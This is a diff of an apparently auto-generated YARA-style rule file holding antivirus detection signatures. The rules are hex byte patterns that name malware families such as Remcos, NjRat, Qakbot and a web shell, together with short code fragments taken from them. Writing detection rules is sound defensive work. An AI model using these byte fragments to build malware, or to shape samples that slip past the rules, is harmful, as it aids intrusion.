& 1)*21539) >=1 } -rule _InfrastructureShared_3837{ +rule _InfrastructureShared_3965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39639,7 +40962,17 @@ rule _InfrastructureShared_3837{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3838{ +rule _InfrastructureShared_3966{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 48 61 6e 64 73 46 72 65 65 47 6c 6f 76 65 73 2e 41 21 64 68 61 00 01 00 1a 03 44 3a 5c 52 5f 52 65 73 65 72 63 68 44 61 74 61 5c 90 02 ea 2e 70 64 62 90 00 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39649,7 +40982,27 @@ rule _InfrastructureShared_3838{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3839{ +rule _InfrastructureShared_3968{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 47 50 50 45 21 4d 54 42 00 04 00 1f 03 72 44 6c 50 74 53 cd e6 d7 7b 0b 2a 01 00 00 00 90 01 03 00 90 01 03 00 00 b2 35 00 d3 90 00 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3969{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 6d 63 6f 73 2e 41 45 21 4d 54 42 00 01 00 24 01 33 c0 0f b7 d6 8b 74 24 0c 40 66 a3 e4 3a a7 00 0f b7 c7 8b c8 66 a3 f2 3a a7 00 8b f8 66 0f 6e c6 c1 ef 03 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39659,7 +41012,7 @@ rule _InfrastructureShared_3839{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3840{ +rule _InfrastructureShared_3971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39669,7 +41022,7 @@ rule _InfrastructureShared_3840{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3841{ +rule _InfrastructureShared_3972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39679,7 +41032,7 @@ rule _InfrastructureShared_3841{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3842{ +rule _InfrastructureShared_3973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39689,7 +41042,7 @@ rule _InfrastructureShared_3842{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3843{ +rule _InfrastructureShared_3974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39699,7 +41052,7 @@ rule _InfrastructureShared_3843{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3844{ +rule _InfrastructureShared_3975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -39709,7 +41062,7 @@ rule _InfrastructureShared_3844{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3845{ +rule _InfrastructureShared_3976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -39719,7 +41072,7 @@ rule _InfrastructureShared_3845{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3846{ +rule _InfrastructureShared_3977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -39730,7 +41083,7 @@ rule _InfrastructureShared_3846{ ((#a_54_0 & 1)*18467+(#a_56_1 & 1)*21076) >=1 } -rule _InfrastructureShared_3847{ +rule _InfrastructureShared_3978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -39741,7 +41094,7 @@ rule _InfrastructureShared_3847{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*14916) >=1 } -rule _InfrastructureShared_3848{ +rule _InfrastructureShared_3979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -39752,7 +41105,7 @@ rule _InfrastructureShared_3848{ ((#a_44_0 & 1)*19491+(#a_00_1 & 1)*51) >=1 } -rule _InfrastructureShared_3849{ +rule _InfrastructureShared_3980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -39763,7 +41116,7 @@ rule _InfrastructureShared_3849{ ((#a_54_0 & 1)*18467+(#a_78_1 & 1)*14918) >=1 } -rule _InfrastructureShared_3850{ +rule _InfrastructureShared_3981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -39773,7 +41126,17 @@ rule _InfrastructureShared_3850{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_3851{ +rule _InfrastructureShared_3982{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 42 41 45 21 4d 54 42 00 02 00 22 01 08 11 04 91 58 20 ff 00 00 00 5f 91 06 11 07 91 61 d2 9c 11 07 17 58 13 07 11 07 06 8e 69 17 59 31 a7 00 00 78 51 00 00 02 00 02 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_3983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -39783,7 +41146,7 @@ rule _InfrastructureShared_3851{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_3852{ +rule _InfrastructureShared_3984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -39793,7 +41156,17 @@ rule _InfrastructureShared_3852{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_3853{ +rule _InfrastructureShared_3985{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 6f 7a 65 6e 61 2e 45 48 50 21 4d 54 42 00 02 00 24 03 00 08 11 05 07 11 05 9a 1f 10 90 01 05 9c 00 11 05 17 58 13 05 11 05 07 8e 69 fe 04 13 06 11 06 2d dc 90 00 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_3986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -39803,7 +41176,7 @@ rule _InfrastructureShared_3853{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_3854{ +rule _InfrastructureShared_3987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -39813,7 +41186,7 @@ rule _InfrastructureShared_3854{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_3855{ +rule _InfrastructureShared_3988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -39823,7 +41196,7 @@ rule _InfrastructureShared_3855{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_3856{ +rule _InfrastructureShared_3989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -39833,7 +41206,7 @@ rule _InfrastructureShared_3856{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_3857{ +rule _InfrastructureShared_3990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -39843,7 +41216,7 @@ rule _InfrastructureShared_3857{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_3858{ +rule _InfrastructureShared_3991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -39853,7 +41226,7 @@ rule _InfrastructureShared_3858{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_3859{ +rule _InfrastructureShared_3992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -39863,7 +41236,7 @@ rule _InfrastructureShared_3859{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_3860{ +rule _InfrastructureShared_3993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -39874,7 +41247,7 @@ rule _InfrastructureShared_3860{ ((#a_77_0 & 1)*16675+(#a_65_1 & 1)*11890) >=2 } -rule _InfrastructureShared_3861{ +rule _InfrastructureShared_3994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -39885,7 +41258,7 @@ rule _InfrastructureShared_3861{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*21076) >=2 } -rule _InfrastructureShared_3862{ +rule _InfrastructureShared_3995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -39896,7 +41269,7 @@ rule _InfrastructureShared_3862{ ((#a_54_0 & 1)*18467+(#a_57_1 & 1)*21076) >=2 } -rule _InfrastructureShared_3863{ +rule _InfrastructureShared_3996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -39907,7 +41280,7 @@ rule _InfrastructureShared_3863{ ((#a_54_0 & 1)*18467+(#a_3a_1 & 1)*26231) >=2 } -rule _InfrastructureShared_3864{ +rule _InfrastructureShared_3997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -39918,7 +41291,7 @@ rule _InfrastructureShared_3864{ ((#a_77_0 & 1)*19491+(#a_54_1 & 1)*8514) >=2 } -rule _InfrastructureShared_3865{ +rule _InfrastructureShared_3998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -39928,7 +41301,7 @@ rule _InfrastructureShared_3865{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_3866{ +rule _InfrastructureShared_3999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -39938,7 +41311,7 @@ rule _InfrastructureShared_3866{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_3867{ +rule _InfrastructureShared_4000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -39949,7 +41322,7 @@ rule _InfrastructureShared_3867{ ((#a_6e_0 & 1)*22307+(#a_21_1 & 1)*16720) >=2 } -rule _InfrastructureShared_3868{ +rule _InfrastructureShared_4001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " @@ -39959,7 +41332,7 @@ rule _InfrastructureShared_3868{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_3869{ +rule _InfrastructureShared_4002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " @@ -39969,53 +41342,43 @@ rule _InfrastructureShared_3869{ ((#a_46_0 & 1)*16675) >=4 } -rule _InfrastructureShared_3870{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 2e 4e 51 21 4d 54 42 00 02 00 09 01 17 2e 03 16 2b 01 17 17 59 01 00 0a 01 13 1b 95 2e 03 17 2b 01 16 58 01 00 09 01 95 2e 03 16 2b 01 17 17 59 00 00 78 51 00 00 04 00 04 } //16675 - $a_52_2 = {4e 65 6f 72 65 6b 6c 61 6d 69 2e 4e 42 31 00 01 00 08 80 01 77 66 70 68 75 76 61 6d 01 00 07 80 01 77 61 62 74 6b 70 79 01 00 08 80 01 6f 6b 6f 68 78 66 64 78 01 00 08 80 01 6e 6e 70 74 6b 64 6b 63 00 00 78 51 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a } //21320 - condition: - ((#a_46_0 & 1)*16675+(#a_52_2 & 1)*21320) >=4 - -} -rule _InfrastructureShared_3871{ +rule _InfrastructureShared_4003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : - $a_54_0 = {3a 4e 65 6f 72 65 6b 6c 61 6d 69 2e 4e 42 31 00 01 00 08 80 01 77 66 70 68 75 76 61 6d 01 00 07 80 01 77 61 62 74 6b 70 79 01 00 08 80 01 6f 6b 6f 68 78 66 64 78 01 00 08 80 01 6e 6e 70 74 6b 64 6b 63 00 00 78 51 00 00 05 00 05 00 01 00 21 23 54 45 } //18467 - $a_72_1 = {6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 2e 50 47 4b 21 4d 54 42 00 05 00 25 01 11 05 11 08 07 06 11 08 58 93 11 06 11 08 08 58 11 07 5d 93 61 d1 9d 17 11 08 58 13 08 11 08 11 04 fe 04 2d db 00 00 78 51 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 } //14924 - $a_6e_2 = {57 69 6e 36 34 2f 4d 61 6c 6f 64 65 72 2e 42 00 03 00 0d 03 6b 00 65 00 90 02 06 72 00 6e 00 90 00 01 00 05 01 ba 42 31 0e 00 01 00 05 01 ba 86 57 0d 00 01 00 05 01 ba fa 8b 34 00 00 00 78 51 00 00 06 00 06 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 6f 6b 69 62 } //27247 - $a_41_3 = {4c 30 35 36 21 4d 54 42 00 0a 00 1e 03 59 59 6a 04 68 00 30 00 00 68 80 74 d2 1a 90 02 0f ff 90 02 ff 6a 40 68 00 30 00 00 90 00 00 00 78 } //29807 + $a_54_0 = {3a 4e 65 6f 72 65 6b 6c 61 6d 69 2e 4e 42 31 00 01 00 08 80 01 77 66 70 68 75 76 61 6d 01 00 07 80 01 77 61 62 74 6b 70 79 01 00 08 80 01 6f 6b 6f 68 78 66 64 78 01 00 08 80 01 6e 6e 70 74 6b 64 6b 63 00 00 78 51 00 00 05 00 05 00 02 00 21 23 48 53 } //18467 + $a_54_1 = {6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 75 67 6d 69 2e 48 45 21 4d 54 42 00 05 00 09 01 66 0f be 04 30 66 89 04 72 05 00 17 03 03 48 3c 89 4d 90 01 01 8b 45 90 1b 00 8b 4d 90 01 } //21076 + $a_2c_2 = {00 00 00 78 51 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 61 6c 6f 64 65 72 2e 42 00 03 00 0d 03 6b 00 65 00 90 02 06 72 00 6e 00 90 00 01 00 05 01 ba 42 31 0e 00 01 00 05 01 } //769 + $a_0d_3 = {00 01 00 05 01 ba fa 8b 34 00 00 00 78 51 00 00 06 00 06 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 6f 6b 69 62 6f 74 2e 41 4c 4c 30 35 36 21 4d 54 42 00 0a 00 1e 03 59 59 6a 04 68 00 30 00 00 68 80 74 d2 1a 90 02 0f ff 90 02 ff 6a } //-31046 condition: - ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*14924+(#a_6e_2 & 1)*27247+(#a_41_3 & 1)*29807) >=4 + ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*21076+(#a_2c_2 & 1)*769+(#a_0d_3 & 1)*-31046) >=4 } -rule _InfrastructureShared_3872{ +rule _InfrastructureShared_4004{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 2e 50 47 4b 21 4d 54 42 00 05 00 25 01 11 05 11 08 07 06 11 08 58 93 11 06 11 08 08 58 11 07 5d 93 61 d1 9d 17 11 08 58 13 08 11 08 11 04 fe 04 2d db 00 00 } //21539 + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 75 67 6d 69 2e 48 45 21 4d 54 42 00 05 00 09 01 66 0f be 04 30 66 89 04 72 05 00 17 03 03 48 3c 89 4d 90 01 01 8b 45 90 1b 00 8b 4d 90 01 01 03 48 2c 90 00 00 00 78 51 00 00 05 00 05 00 04 00 21 23 41 4c } //18467 + $a_72_1 = {6a 61 6e 3a 57 69 6e 36 34 2f 4d 61 6c 6f 64 65 72 2e 42 00 03 00 0d 03 6b 00 65 00 90 02 06 72 00 6e 00 90 00 01 00 05 01 ba 42 31 0e 00 01 00 05 01 ba 86 57 0d 00 01 00 05 01 ba fa 8b 34 00 00 00 78 51 00 00 06 00 06 00 01 00 21 23 48 53 54 52 3a 54 } //14918 condition: - ((#a_4c_0 & 1)*21539) >=5 + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*14918) >=5 } -rule _InfrastructureShared_3873{ +rule _InfrastructureShared_4005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 61 6c 6f 64 65 72 2e 42 00 03 00 0d 03 6b 00 65 00 90 02 06 72 00 6e 00 90 00 01 00 05 01 ba 42 31 0e 00 01 00 05 01 ba 86 57 0d 00 01 00 05 01 ba fa 8b 34 00 00 00 78 51 00 00 06 00 06 } //16675 $a_52_2 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 6f 6b 69 62 6f 74 2e 41 4c 4c 30 35 36 21 4d 54 42 00 0a 00 1e 03 59 59 6a 04 68 00 30 00 00 68 80 74 d2 1a 90 02 0f ff 90 02 ff 6a 40 68 00 30 00 00 90 00 00 00 78 51 00 00 06 00 06 00 02 00 21 23 54 45 4c 3a } //21320 - $a_6a_3 = {6e 3a 4d 53 49 4c 2f 52 6f 7a 65 6e 61 2e 4b 41 4a 21 4d 54 42 00 05 00 19 01 02 07 06 07 06 8e 69 5d 91 02 07 91 61 d2 9c 07 17 58 0b 07 02 8e 69 32 e7 01 00 07 01 44 65 63 72 79 70 74 00 00 78 51 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 61 6b 62 6f 74 2e 47 50 21 4d 54 42 00 0a 00 24 02 } //29268 + $a_6a_3 = {6e 3a 4d 53 49 4c 2f 52 6f 7a 65 6e 61 2e 4b 41 4a 21 4d 54 42 00 05 00 19 01 02 07 06 07 06 8e 69 5d 91 02 07 91 61 d2 9c 07 17 58 0b 07 02 8e 69 32 e7 01 00 07 01 44 65 63 72 79 70 74 00 00 78 51 00 00 06 00 06 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 57 65 62 53 68 65 6c 6c 2e 4d 52 21 4d 54 42 00 05 00 0c } //29268 condition: ((#a_46_0 & 1)*16675+(#a_52_2 & 1)*21320+(#a_6a_3 & 1)*29268) >=5 } -rule _InfrastructureShared_3874{ +rule _InfrastructureShared_4006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 01 00 21 " @@ -40025,7 +41388,7 @@ rule _InfrastructureShared_3874{ ((#a_54_0 & 1)*18467) >=6 } -rule _InfrastructureShared_3875{ +rule _InfrastructureShared_4007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -40035,7 +41398,17 @@ rule _InfrastructureShared_3875{ ((#a_4c_0 & 1)*21539) >=6 } -rule _InfrastructureShared_3876{ +rule _InfrastructureShared_4008{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 57 65 62 53 68 65 6c 6c 2e 4d 52 21 4d 54 42 00 05 00 0c 01 13 06 08 11 06 6f 13 00 00 0a 08 02 01 00 13 01 46 69 73 68 65 72 33 36 31 2e 57 65 62 2e 4f 41 75 74 68 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=6 + +} +rule _InfrastructureShared_4009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -40045,7 +41418,7 @@ rule _InfrastructureShared_3876{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_3877{ +rule _InfrastructureShared_4010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -40055,7 +41428,7 @@ rule _InfrastructureShared_3877{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_3878{ +rule _InfrastructureShared_4011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -40065,7 +41438,7 @@ rule _InfrastructureShared_3878{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_3879{ +rule _InfrastructureShared_4012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -40075,7 +41448,7 @@ rule _InfrastructureShared_3879{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_3880{ +rule _InfrastructureShared_4013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -40085,7 +41458,7 @@ rule _InfrastructureShared_3880{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_3881{ +rule _InfrastructureShared_4014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -40095,7 +41468,7 @@ rule _InfrastructureShared_3881{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_3882{ +rule _InfrastructureShared_4015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -40105,7 +41478,7 @@ rule _InfrastructureShared_3882{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_3883{ +rule _InfrastructureShared_4016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -40115,7 +41488,7 @@ rule _InfrastructureShared_3883{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_3884{ +rule _InfrastructureShared_4017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -40125,17 +41498,7 @@ rule _InfrastructureShared_3884{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_3885{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 52 61 74 2e 50 47 47 21 4d 54 42 00 0a 00 25 03 13 06 11 06 16 06 06 14 6f 90 01 03 0a a2 00 11 06 17 14 a2 00 11 06 14 14 14 17 28 90 01 03 0a 26 00 2a 90 00 00 00 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=10 - -} -rule _InfrastructureShared_3886{ +rule _InfrastructureShared_4018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -40145,7 +41508,7 @@ rule _InfrastructureShared_3886{ ((#a_46_0 & 1)*16675) >=11 } -rule _InfrastructureShared_3887{ +rule _InfrastructureShared_4019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -40155,7 +41518,7 @@ rule _InfrastructureShared_3887{ ((#a_46_0 & 1)*21283) >=11 } -rule _InfrastructureShared_3888{ +rule _InfrastructureShared_4020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -40165,7 +41528,7 @@ rule _InfrastructureShared_3888{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3889{ +rule _InfrastructureShared_4021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40175,7 +41538,7 @@ rule _InfrastructureShared_3889{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3890{ +rule _InfrastructureShared_4022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40185,7 +41548,7 @@ rule _InfrastructureShared_3890{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3891{ +rule _InfrastructureShared_4023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40195,7 +41558,7 @@ rule _InfrastructureShared_3891{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3892{ +rule _InfrastructureShared_4024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40205,7 +41568,7 @@ rule _InfrastructureShared_3892{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3893{ +rule _InfrastructureShared_4025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40215,7 +41578,7 @@ rule _InfrastructureShared_3893{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3894{ +rule _InfrastructureShared_4026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40225,7 +41588,7 @@ rule _InfrastructureShared_3894{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3895{ +rule _InfrastructureShared_4027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40235,7 +41598,7 @@ rule _InfrastructureShared_3895{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3896{ +rule _InfrastructureShared_4028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40245,7 +41608,7 @@ rule _InfrastructureShared_3896{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3897{ +rule _InfrastructureShared_4029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40255,7 +41618,7 @@ rule _InfrastructureShared_3897{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3898{ +rule _InfrastructureShared_4030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40265,7 +41628,7 @@ rule _InfrastructureShared_3898{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3899{ +rule _InfrastructureShared_4031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40275,7 +41638,7 @@ rule _InfrastructureShared_3899{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3900{ +rule _InfrastructureShared_4032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40285,7 +41648,7 @@ rule _InfrastructureShared_3900{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3901{ +rule _InfrastructureShared_4033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40295,7 +41658,7 @@ rule _InfrastructureShared_3901{ ((#a_54_0 & 1)*18467) >=1 } 